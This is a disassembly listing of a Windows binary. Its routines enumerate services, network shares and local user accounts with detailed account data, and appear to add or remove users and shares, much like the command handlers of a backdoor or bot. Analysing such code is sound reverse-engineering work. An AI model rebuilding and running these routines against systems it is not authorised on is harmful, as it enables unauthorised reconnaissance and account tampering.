; ---------------------------------------------------------------------------
loc_418823: ; CODE XREF: sub_4187DD+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_41882D: ; CODE XREF: sub_4187DD+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418837: ; CODE XREF: sub_4187DD+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418841: ; CODE XREF: sub_4187DD+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_41884B: ; CODE XREF: sub_4187DD+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418855: ; CODE XREF: sub_4187DD+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418884
dec ecx
jz short loc_41887D
dec ecx
jz short loc_418876
dec ecx
jnz loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418876: ; CODE XREF: sub_4187DD+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_41887D: ; CODE XREF: sub_4187DD+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_418884: ; CODE XREF: sub_4187DD+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_41888B: ; CODE XREF: sub_4187DD+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_418892: ; CODE XREF: sub_4187DD+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
jz short loc_4188F5
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_418949[ecx]
jmp off_418921[ecx*4] ; switch jump
loc_4188B6: ; DATA XREF: ___:off_418921o
push offset aTheSpecifiedDa ; jumptable 004188AF case 7
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188BD: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceDepe ; jumptable 004188AF case 17
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188C4: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceDe_0 ; jumptable 004188AF case 10
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188CB: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceHasB ; jumptable 004188AF case 0
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188D2: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheSpecified_0 ; jumptable 004188AF case 2
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188D9: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceCoul ; jumptable 004188AF case 11
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188E0: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceHa_0 ; jumptable 004188AF case 14
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188E7: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheRequested_1 ; jumptable 004188AF case 3
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188EE: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceHasN ; jumptable 004188AF case 4
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188F5: ; CODE XREF: sub_4187DD+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_4188FA: ; CODE XREF: sub_4187DD+41j
; sub_4187DD+4Bj ...
push offset dword_4DA930
call sub_41B886
pop ecx
pop ecx
jmp short loc_41891B
; ---------------------------------------------------------------------------
loc_418908: ; CODE XREF: sub_4187DD+36j
; sub_4187DD+89j ...
push eax ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DA930
call sub_41B886
add esp, 0Ch
loc_41891B: ; CODE XREF: sub_4187DD+129j
mov eax, offset dword_4DA930
retn
sub_4187DD endp
; ---------------------------------------------------------------------------
off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r
dd offset loc_4188D2 ; jump table for switch statement
dd offset loc_4188E7
dd offset loc_4188EE
dd offset loc_4188B6
dd offset loc_4188C4
dd offset loc_4188D9
dd offset loc_4188E0
dd offset loc_4188BD
dd offset loc_418908
byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CAF68
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_418993: ; CODE XREF: sub_41895B+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CAF34
test eax, eax
jnz short loc_4189CD
nop
call near ptr 2660A00h
cmp eax, 0EAh
jnz loc_418A81
loc_4189CD: ; CODE XREF: sub_41895B+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418A78
lea esi, [ebp+var_188]
loc_4189DE: ; CODE XREF: sub_41895B+117j
mov eax, [esi+8]
dec eax
jz short loc_418A27
dec eax
jz short loc_418A20
dec eax
jz short loc_418A19
dec eax
jz short loc_418A12
dec eax
jz short loc_418A0B
dec eax
jz short loc_418A04
dec eax
jz short loc_4189FD
push offset aUnknown_0 ; " Unknown"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_4189FD: ; CODE XREF: sub_41895B+99j
push offset aPaused_0 ; " Paused"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A04: ; CODE XREF: sub_41895B+96j
push offset aPausing ; " Pausing"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A0B: ; CODE XREF: sub_41895B+93j
push offset aContinuing ; " Continuing"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A12: ; CODE XREF: sub_41895B+90j
push offset aRunning ; " Running"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A19: ; CODE XREF: sub_41895B+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A20: ; CODE XREF: sub_41895B+8Aj
push offset aStarting ; " Starting"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A27: ; CODE XREF: sub_41895B+87j
push offset aStopped ; " Stopped"
loc_418A2C: ; CODE XREF: sub_41895B+A0j
; sub_41895B+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_4189DE
loc_418A78: ; CODE XREF: sub_41895B+77j
cmp [ebp+var_8], ebx
jnz loc_418993
loc_418A81: ; CODE XREF: sub_41895B+6Cj
push [ebp+var_C]
call dword_4CAE6C
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_41895B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_418B32
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_418AC1
dec eax
jnz short loc_418B12
push edi
push 0
call sub_418C6B
pop ecx
pop ecx
jmp short loc_418B0E
; ---------------------------------------------------------------------------
loc_418AC1: ; CODE XREF: sub_418A98+18j
cmp [ebp+arg_8], 0
jnz short loc_418B00
push 24h
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_418B00
push 57h
pop eax
loc_418AD8: ; CODE XREF: sub_418A98+78j
push eax
call sub_41945F
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DABEC
push off_4389A0[eax*4]
push offset unk_43904C
push esi
call sub_41B886
add esp, 14h
jmp short loc_418B52
; ---------------------------------------------------------------------------
loc_418B00: ; CODE XREF: sub_418A98+2Dj
; sub_418A98+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_418BBF
add esp, 0Ch
loc_418B0E: ; CODE XREF: sub_418A98+27j
test eax, eax
jnz short loc_418AD8
loc_418B12: ; CODE XREF: sub_418A98+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DABEC
push off_4389A4[eax*4]
push offset dword_439030
push esi
call sub_41B886
add esp, 10h
jmp short loc_418B52
; ---------------------------------------------------------------------------
loc_418B32: ; CODE XREF: sub_418A98+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DABEC
lea eax, [eax+eax*2]
push off_4389A0[eax*4]
push offset unk_43900C
push esi
call sub_41B886
add esp, 0Ch
loc_418B52: ; CODE XREF: sub_418A98+66j
; sub_418A98+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418A98 endp
; =============== S U B R O U T I N E =======================================
sub_418B58 proc near ; CODE XREF: sub_419E79+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_418B65
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_418B65: ; CODE XREF: sub_418B58+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_42717C
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_4DADEC, 1
mov ebp, eax
jnz short loc_418BA2
or byte_4DADEC, 1
lea eax, [ebp+1]
push eax
call sub_41CFC5
pop ecx
mov dword_4DAB8C, eax
loc_418BA2: ; CODE XREF: sub_418B58+32j
push esi
push esi
push ebp
push dword_4DAB8C
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_4DAB8C
pop edi
pop ebp
pop ebx
pop esi
retn
sub_418B58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep
; sub_41A19D+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_418C2A
push [ebp+arg_4]
mov edi, eax
call sub_418C2A
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41BFB0
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_418C2A
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CAE68
pop edi
leave
retn
sub_418BBF endp
; =============== S U B R O U T I N E =======================================
sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap
; sub_418BBF+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_418C37
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418C37: ; CODE XREF: sub_418C2A+9j
push ebx
push esi
mov esi, dword_427180
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41CFC5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_418C2A endp
; =============== S U B R O U T I N E =======================================
sub_418C6B proc near ; CODE XREF: sub_418A98+20p
; sub_419E79+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2A
push [esp+8+arg_4]
mov esi, eax
call sub_418C2A
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CAE40
pop esi
retn
sub_418C6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_418C2A
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 18h
loc_418CC7: ; CODE XREF: sub_418C8E+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CAEB8
mov ebx, eax
cmp ebx, esi
jz short loc_418D2A
cmp ebx, 0EAh
jz short loc_418D2A
push ebx
push ebx
call sub_41945F
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_439098
push eax
call sub_41B886
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 24h
jmp short loc_418D97
; ---------------------------------------------------------------------------
loc_418D2A: ; CODE XREF: sub_418C8E+5Dj
; sub_418C8E+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_418D8E
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_418D38: ; CODE XREF: sub_418C8E+FCj
push dword ptr [esi+10h]
call dword_4CAE5C
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_418D4F
mov eax, offset aNo ; "No"
loc_418D4F: ; CODE XREF: sub_418C8E+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_418D38
xor esi, esi
loc_418D8E: ; CODE XREF: sub_418C8E+A2j
push [ebp+var_4]
call dword_4CB004
loc_418D97: ; CODE XREF: sub_418C8E+9Aj
cmp ebx, 0EAh
jz loc_418CC7
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_418C8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_418E54
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_418DF1
dec eax
jz short loc_418DE6
dec eax
jnz short loc_418E0C
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_418EF6
add esp, 14h
jmp short loc_418E08
; ---------------------------------------------------------------------------
loc_418DE6: ; CODE XREF: sub_418DAF+1Dj
push ebx
push edi
call sub_418ED5
pop ecx
pop ecx
jmp short loc_418E08
; ---------------------------------------------------------------------------
loc_418DF1: ; CODE XREF: sub_418DAF+1Aj
cmp [ebp+arg_8], edi
jz short loc_418E05
push [ebp+arg_8]
push ebx
push edi
call sub_418E7B
add esp, 0Ch
jmp short loc_418E08
; ---------------------------------------------------------------------------
loc_418E05: ; CODE XREF: sub_418DAF+45j
push 57h
pop eax
loc_418E08: ; CODE XREF: sub_418DAF+35j
; sub_418DAF+40j ...
cmp eax, edi
jnz short loc_418E2C
loc_418E0C: ; CODE XREF: sub_418DAF+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DADF0
push off_4389A4[eax*4]
push offset unk_439150
push esi
call sub_41B886
add esp, 10h
jmp short loc_418E74
; ---------------------------------------------------------------------------
loc_418E2C: ; CODE XREF: sub_418DAF+5Bj
push eax
call sub_41945F
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DADF0
push off_4389A0[eax*4]
push offset unk_439120
push esi
call sub_41B886
add esp, 14h
jmp short loc_418E74
; ---------------------------------------------------------------------------
loc_418E54: ; CODE XREF: sub_418DAF+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DADF0
lea eax, [eax+eax*2]
push off_4389A0[eax*4]
push offset unk_4390F8
push esi
call sub_41B886
add esp, 0Ch
loc_418E74: ; CODE XREF: sub_418DAF+7Bj
; sub_418DAF+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_418DAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_418C2A
push [ebp+arg_4]
mov edi, eax
call sub_418C2A
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_418C2A
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CAE4C
pop edi
leave
retn
sub_418E7B endp
; =============== S U B R O U T I N E =======================================
sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2A
push [esp+8+arg_4]
mov esi, eax
call sub_418C2A
pop ecx
pop ecx
push eax
push esi
call dword_4CAE3C
pop esi
retn
sub_418ED5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_418C2A
push [ebp+arg_4]
mov esi, eax
call sub_418C2A
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CAFCC
test eax, eax
mov [ebp+arg_0], eax
jnz loc_41929E
mov eax, [ebp+var_4]
test eax, eax
jz loc_4192D9
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41B886
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419015
dec eax
jz short loc_41900E
dec eax
jz short loc_419007
mov eax, offset aUnknown ; "Unknown"
jmp short loc_41901A
; ---------------------------------------------------------------------------
loc_419007: ; CODE XREF: sub_418EF6+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_41901A
; ---------------------------------------------------------------------------
loc_41900E: ; CODE XREF: sub_418EF6+105j
mov eax, offset aUser_1 ; "User"
jmp short loc_41901A
; ---------------------------------------------------------------------------
loc_419015: ; CODE XREF: sub_418EF6+102j
mov eax, offset aGuest ; "Guest"
loc_41901A: ; CODE XREF: sub_418EF6+10Fj
; sub_418EF6+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41B886
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
add esp, 20h
pop edi
pop ebx
jmp short loc_4192CA
; ---------------------------------------------------------------------------
loc_41929E: ; CODE XREF: sub_418EF6+35j
push eax
lea eax, [ebp+var_204]
push offset unk_439170
push eax
call sub_41B886
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409A72
add esp, 20h
loc_4192CA: ; CODE XREF: sub_418EF6+3A6j
cmp [ebp+var_4], 0
jz short loc_4192D9
push [ebp+var_4]
call dword_4CB004
loc_4192D9: ; CODE XREF: sub_418EF6+40j
; sub_418EF6+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_418EF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_418C2A
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 18h
loc_41931E: ; CODE XREF: sub_4192DF+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CAED4
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_41937F
cmp eax, 0EAh
jz short loc_41937F
push eax
push eax
call sub_41945F
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_439360
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 24h
jmp short loc_4193FA
; ---------------------------------------------------------------------------
loc_41937F: ; CODE XREF: sub_4192DF+62j
; sub_4192DF+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41940D
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_4193FA
